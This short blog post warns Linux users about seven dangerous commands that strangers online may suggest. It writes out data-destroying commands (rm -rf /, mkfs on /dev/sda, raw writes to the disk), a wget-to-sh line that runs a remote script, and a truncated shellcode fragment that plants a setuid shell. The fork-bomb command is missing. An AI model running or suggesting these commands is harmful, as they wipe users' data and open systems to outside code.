If you often read many of blog posts or user posts in forum or social media, you should be aware when he/she advised you to run such a command on Terminal because the command you run might be harmful for your system. Today I'd like to share you 7 most dangerous Linux commands to you. Enjoy :)
This command will delete your entire files on mounted devices! Here is the demo video about what will you get after running this command:
- rm -rf / #with root privilege such as 'sudo'
Hexadecimal code! Same as the first command, it will delete entire files on your mounted devices.
- char esp __attribute__ ((section(".text"))) /* e.s.p
- release */
- = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
- "cp -p /bin/sh /tmp/.beyond; chmod 4755
- mkfs.ext3 /dev/sda
This command will format your /dev/sda device and of course will delete all files on it.
Will run too many processes on your system and causes the computer hang up!
- any_command > /dev/sda
Will write a raw data and all files on /dev/sda will be replaced by the raw data.
- wget http://sumber_tak_terpercaya -O- | sh
Wil download a shell script from untrusted source and run it when the download finished.
- mv /home/username/* /dev/null
Will move home directory to a place that actually doesn't exist. In other words, it will delete your home directory.
So be careful and do a check before running such commands on your system.